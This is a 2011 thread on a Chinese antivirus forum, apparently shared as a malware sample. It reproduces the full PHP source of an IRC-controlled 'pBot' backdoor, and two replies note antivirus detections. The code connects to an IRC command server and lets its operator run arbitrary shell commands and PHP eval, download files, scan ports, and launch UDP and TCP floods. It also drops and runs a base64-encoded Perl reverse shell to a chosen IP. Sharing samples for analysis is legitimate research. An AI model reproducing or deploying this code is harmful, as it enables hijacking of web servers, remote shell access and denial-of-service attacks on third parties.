查看: 1485|回复: 2
收起左侧

[其它] http://www.informatik-lehren.de/menue.txt

 关闭 [复制链接]
是昔流芳
发表于 2011-7-19 08:21:45 | 显示全部楼层 |阅读模式
  1. <?

  2. set_time_limit(0);
  3. error_reporting(0);
  4. echo "ok!";

  5. class pBot
  6. {
  7. var $config = array("server"=>"irc.ddosed.net",
  8.                      "port"=>"6667",
  9.                      "pass"=>"",
  10.                      "prefix"=>"test1",
  11.                      "maxrand"=>"4",
  12.                      "chan"=>"#test22",
  13.                      "chan2"=>"",
  14.                      "key"=>"*",
  15.                      "modes"=>"+p-ix",
  16.                      "password"=>"renan",
  17.                      "trigger"=>".",
  18.                      "hostauth"=>"*" // * for any hostname (remember: /setvhost xdevil.org)
  19.                      );
  20. var $users = array();
  21. function start()
  22. {
  23.     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  24.        $this->start();
  25.     $ident = "stz";
  26.     $alph = range("a","z");
  27.     for($i=0;$i<$this->config['maxrand'];$i++)
  28.        $ident .= $alph[rand(0,25)];
  29.     if(strlen($this->config['pass'])>0)
  30.        $this->send("PASS ".$this->config['pass']);
  31.     $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  32.     $this->set_nick();
  33.     $this->main();
  34. }
  35. function main()
  36. {
  37.     while(!feof($this->conn))
  38.     {
  39.        $this->buf = trim(fgets($this->conn,512));
  40.        $cmd = explode(" ",$this->buf);
  41.        if(substr($this->buf,0,6)=="PING :")
  42.        {
  43.           $this->send("PONG :".substr($this->buf,6));
  44.        }
  45.        if(isset($cmd[1]) && $cmd[1] =="001")
  46.        {
  47.           $this->send("MODE ".$this->nick." ".$this->config['modes']);
  48.           $this->join($this->config['chan'],$this->config['key']);


  49.           if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  50.           else { $safemode = "off"; }
  51.           $uname = php_uname();
  52.           $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
  53.           $this->privmsg($this->config['chan2'],"[\aff\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  54.        }
  55.        if(isset($cmd[1]) && $cmd[1]=="433")
  56.        {
  57.           $this->set_nick();
  58.        }
  59.        if($this->buf != $old_buf)
  60.        {
  61.           $mcmd = array();
  62.           $msg = substr(strstr($this->buf," :"),2);
  63.           $msgcmd = explode(" ",$msg);
  64.           $nick = explode("!",$cmd[0]);
  65.           $vhost = explode("@",$nick[1]);
  66.           $vhost = $vhost[1];
  67.           $nick = substr($nick[0],1);
  68.           $host = $cmd[0];
  69.           if($msgcmd[0]==$this->nick)
  70.           {
  71.            for($i=0;$i<count($msgcmd);$i++)
  72.               $mcmd[$i] = $msgcmd[$i+1];
  73.           }
  74.           else
  75.           {
  76.            for($i=0;$i<count($msgcmd);$i++)
  77.               $mcmd[$i] = $msgcmd[$i];
  78.           }
  79.           if(count($cmd)>2)
  80.           {
  81.              switch($cmd[1])
  82.              {
  83.                 case "QUIT":
  84.                    if($this->is_logged_in($host))
  85.                    {
  86.                       $this->log_out($host);
  87.                    }
  88.                 break;
  89.                 case "PART":
  90.                    if($this->is_logged_in($host))
  91.                    {
  92.                       $this->log_out($host);
  93.                    }
  94.                 break;
  95.                 case "PRIVMSG":
  96.                    if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  97.                    {
  98.                       if(substr($mcmd[0],0,1)==".")
  99.                       {
  100.                          switch(substr($mcmd[0],1))
  101.                          {
  102.                             case "user":
  103.                               if($mcmd[1]==$this->config['password'])
  104.                               {
  105.                                  $this->log_in($host);
  106.                               }
  107.                               else
  108.                               {
  109.                                  $this->notice($this->config['chan'],"[\2Auth\2]: Senha errada $nick idiota!!");
  110.                               }
  111.                             break;
  112.                          }
  113.                       }
  114.                    }
  115.                    elseif($this->is_logged_in($host))
  116.                    {
  117.                       if(substr($mcmd[0],0,1)==".")
  118.                       {
  119.                          switch(substr($mcmd[0],1))
  120.                          {
  121.                             case "restart":
  122.                                $this->send("QUIT :restart commando from $nick");
  123.                                fclose($this->conn);
  124.                                $this->start();
  125.                             break;
  126.                             case "mail": //mail to from subject message
  127.                                if(count($mcmd)>4)
  128.                                {
  129.                                   $header = "From: <".$mcmd[2].">";
  130.                                   if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  131.                                   {
  132.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
  133.                                   }
  134.                                   else
  135.                                   {
  136.                                      $this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
  137.                                   }
  138.                                }
  139.                             break;
  140.                             case "safe":
  141.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  142.                                {
  143.                                $safemode = "on";
  144.                                }
  145.                                else {
  146.                                $safemode = "off";
  147.                                }
  148.                                $this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
  149.                             break;
  150.                             case "inbox": //teste inbox
  151.                                if(isset($mcmd[1]))
  152.                                {
  153.                                   $token = md5(uniqid(rand(), true));
  154.                                   $header = "From: <inbox".$token."@xdevil.org>";
  155.                                   $a = php_uname();
  156.                                   $b = getenv("SERVER_SOFTWARE");
  157.                                   $c = gethostbyname($_SERVER["HTTP_HOST"]);
  158.                                   if(!mail($mcmd[1],"InBox Test","#crew@corp. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: wicked\nby: dvl <admin@xdevil.org>",$header))
  159.                                   {
  160.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
  161.                                   }
  162.                                   else
  163.                                   {
  164.                                      $this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
  165.                                   }
  166.                                }
  167.                             break;
  168.                             case "conback":
  169.                                if(count($mcmd)>2)
  170.                                {
  171.                                   $this->conback($mcmd[1],$mcmd[2]);
  172.                                }
  173.                             break;
  174.                             case "dns":
  175.                                if(isset($mcmd[1]))
  176.                                {
  177.                                   $ip = explode(".",$mcmd[1]);
  178.                                   if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  179.                                   {
  180.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  181.                                   }
  182.                                   else
  183.                                   {
  184.                                      $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  185.                                   }
  186.                                }
  187.                             break;
  188.                             case "aff":
  189.                             case "aff":
  190.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  191.                                else { $safemode = "off"; }
  192.                                $uname = php_uname();
  193.                                $this->privmsg($this->config['chan'],"[\2aff\2]: $uname (safe: $safemode)");
  194.                                $this->privmsg($this->config['chan'],"[\2aff\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  195.                             break;
  196.                             case "bot":
  197.                                $this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; #crew@corp.");
  198.                             break;
  199.                             case "uname":
  200.                                if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  201.                                else { $safemode = "off"; }
  202.                                $uname = php_uname();
  203.                                $this->privmsg($this->config['chan'],"[\2aff\2]: $uname (safe: $safemode)");
  204.                             break;
  205.                             case "rndnick":
  206.                                $this->set_nick();
  207.                             break;
  208.                             case "raw":
  209.                                $this->send(strstr($msg,$mcmd[1]));
  210.                             break;
  211.                             case "eval":
  212.                               $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  213.                             break;
  214.                                         case "sexec":
  215.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  216.                                $exec = shell_exec($command);
  217.                                $ret = explode("\n",$exec);
  218.                                for($i=0;$i<count($ret);$i++)
  219.                                   if($ret[$i]!=NULL)
  220.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  221.                             break;

  222.                             case "exec":
  223.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  224.                                $exec = exec($command);
  225.                                $ret = explode("\n",$exec);
  226.                                for($i=0;$i<count($ret);$i++)
  227.                                   if($ret[$i]!=NULL)
  228.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  229.                             break;

  230.                             case "passthru":
  231.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  232.                                $exec = passthru($command);
  233.                                $ret = explode("\n",$exec);
  234.                                for($i=0;$i<count($ret);$i++)
  235.                                   if($ret[$i]!=NULL)
  236.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  237.                             break;

  238.                             case "popen":
  239.                                if(isset($mcmd[1]))
  240.                                {
  241.                                   $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  242.                                   $this->privmsg($this->config['chan'],"[\2popen\2]: $command");
  243.                                   $pipe = popen($command,"r");
  244.                                   while(!feof($pipe))
  245.                                   {
  246.                                      $pbuf = trim(fgets($pipe,512));
  247.                                      if($pbuf != NULL)
  248.                                         $this->privmsg($this->config['chan'],"     : $pbuf");
  249.                                   }
  250.                                   pclose($pipe);
  251.                                }  
  252.                           
  253.                             case "system":
  254.                                $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  255.                                $exec = system($command);
  256.                                $ret = explode("\n",$exec);
  257.                                for($i=0;$i<count($ret);$i++)
  258.                                   if($ret[$i]!=NULL)
  259.                                      $this->privmsg($this->config['chan'],"      : ".trim($ret[$i]));
  260.                             break;


  261.                             case "pscan": // .pscan 127.0.0.1 6667
  262.                                if(count($mcmd) > 2)
  263.                                {
  264.                                   if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  265.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  266.                                   else
  267.                                      $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  268.                                }
  269.                             break;
  270.                             case "ud.server": // .ud.server <server> <port> [password]
  271.                                if(count($mcmd)>2)
  272.                                {
  273.                                   $this->config['server'] = $mcmd[1];
  274.                                   $this->config['port'] = $mcmd[2];
  275.                                   if(isset($mcmcd[3]))
  276.                                   {
  277.                                    $this->config['pass'] = $mcmd[3];
  278.                                    $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
  279.                                   }
  280.                                   else
  281.                                   {
  282.                                      $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]);
  283.                                   }
  284.                                }
  285.                             break;
  286.                             case "download":
  287.                                if(count($mcmd) > 2)
  288.                                {
  289.                                   if(!$fp = fopen($mcmd[2],"w"))
  290.                                   {
  291.                                      $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download. Permissao negada.");
  292.                                   }
  293.                                   else
  294.                                   {
  295.                                      if(!$get = file($mcmd[1]))
  296.                                      {
  297.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de \2".$mcmd[1]."\2");
  298.                                      }
  299.                                      else
  300.                                      {
  301.                                         for($i=0;$i<=count($get);$i++)
  302.                                         {
  303.                                            fwrite($fp,$get[$i]);
  304.                                         }
  305.                                         $this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para \2".$mcmd[2]."\2");
  306.                                      }
  307.                                      fclose($fp);
  308.                                   }
  309.                                }
  310.                                else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
  311.                             break;
  312.                             case "die":
  313.                                $this->send("QUIT :die command from $nick");
  314.                                fclose($this->conn);
  315.                                exit;
  316.                             case "logout":
  317.                                $this->log_out($host);
  318.                                $this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!");
  319.                             break;
  320.                             case "udpflood":
  321.                                if(count($mcmd)>3)
  322.                                {
  323.                                   $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  324.                                }
  325.                             break;
  326.                             case "tcpflood":
  327.                                if(count($mcmd)>5)
  328.                                {
  329.                                   $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  330.                                }
  331.                             break;
  332.                          }
  333.                       }
  334.                    }
  335.                 break;
  336.              }
  337.           }
  338.        }
  339.        $old_buf = $this->buf;
  340.     }
  341.     $this->start();
  342. }
  343. function send($msg)
  344. {
  345.     fwrite($this->conn,"$msg\r\n");

  346. }
  347. function join($chan,$key=NULL)
  348. {
  349.     $this->send("JOIN $chan $key");
  350. }
  351. function privmsg($to,$msg)
  352. {
  353.     $this->send("PRIVMSG $to :$msg");
  354. }
  355. function notice($to,$msg)
  356. {
  357.     $this->send("NOTICE $to :$msg");
  358. }
  359. function is_logged_in($host)
  360. {
  361.     if(isset($this->users[$host]))
  362.        return 1;
  363.     else
  364.        return 0;
  365. }
  366. function log_in($host)
  367. {
  368.     $this->users[$host] = true;
  369. }
  370. function log_out($host)
  371. {
  372.     unset($this->users[$host]);
  373. }
  374. function set_nick()
  375. {
  376.     if(isset($_SERVER['SERVER_SOFTWARE']))
  377.     {
  378.        if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  379.           $this->nick = "[";
  380.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  381.           $this->nick = "[";
  382.        elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  383.           $this->nick = "[";
  384.        else
  385.           $this->nick = "[";
  386.     }
  387.     else
  388.     {
  389.        $this->nick = "[";
  390.     }
  391.     $this->nick .= $this->config['prefix'];
  392.     for($i=0;$i<$this->config['maxrand'];$i++)
  393.        $this->nick .= mt_rand(0,9);
  394.     $this->send("NICK ".$this->nick);
  395. }
  396.   function udpflood($host,$packetsize,$time) {
  397.         $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  398.         $packet = "";
  399.         for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  400.         $timei = time();
  401.         $i = 0;
  402.         while(time()-$timei < $time) {
  403.                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  404.               fwrite($fp,$packet);
  405.                fclose($fp);
  406.                 $i++;
  407.         }
  408.         $env = $i * $packetsize;
  409.         $env = $env / 1048576;
  410.         $vel = $env / $time;
  411.         $vel = round($vel);
  412.         $env = round($env);
  413.         $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
  414. }
  415. function tcpflood($host,$packets,$packetsize,$port,$delay)
  416. {
  417.     $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  418.     $packet = "";
  419.     for($i=0;$i<$packetsize;$i++)
  420.        $packet .= chr(mt_rand(1,256));
  421.     for($i=0;$i<$packets;$i++)
  422.     {
  423.        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  424.        {
  425.           $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
  426.           return 0;
  427.        }
  428.        else
  429.        {
  430.           fwrite($fp,$packet);
  431.           fclose($fp);
  432.        }
  433.        sleep($delay);
  434.     }
  435.     $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
  436. }
  437. function conback($ip,$port)
  438. {
  439.     $this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port");
  440.     $dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
  441.     if (is_writable("/tmp"))
  442.     {
  443.       if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
  444.       $fp=fopen("/tmp/dc.pl","w");
  445.       fwrite($fp,base64_decode($dc_source));
  446.       passthru("perl /tmp/dc.pl $ip $port &");
  447.       unlink("/tmp/dc.pl");
  448.     }
  449.     else
  450.     {
  451.     if (is_writable("/var/tmp"))
  452.     {
  453.       if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
  454.       $fp=fopen("/var/tmp/dc.pl","w");
  455.       fwrite($fp,base64_decode($dc_source));
  456.       passthru("perl /var/tmp/dc.pl $ip $port &");
  457.       unlink("/var/tmp/dc.pl");
  458.     }
  459.     if (is_writable("."))
  460.     {
  461.       if (file_exists("dc.pl")) { unlink("dc.pl"); }
  462.       $fp=fopen("dc.pl","w");
  463.       fwrite($fp,base64_decode($dc_source));
  464.       passthru("perl dc.pl $ip $port &");
  465.       unlink("dc.pl");
  466.     }
  467.     }
  468.   }
  469. }

  470. $bot = new pBot;
  471. $bot->start();

  472. ?>
复制代码
klinxun
发表于 2011-7-19 16:01:30 | 显示全部楼层
保存为txt文件时候趋势科技把它杀了,报BKDR_PHPBOT.SM
Palkia
发表于 2011-7-20 09:21:45 | 显示全部楼层
检测到威胁:

对象已感染病毒Backdoor.PHP.Pbot.a
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-1 06:42 , Processed in 0.122160 second(s), 16 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表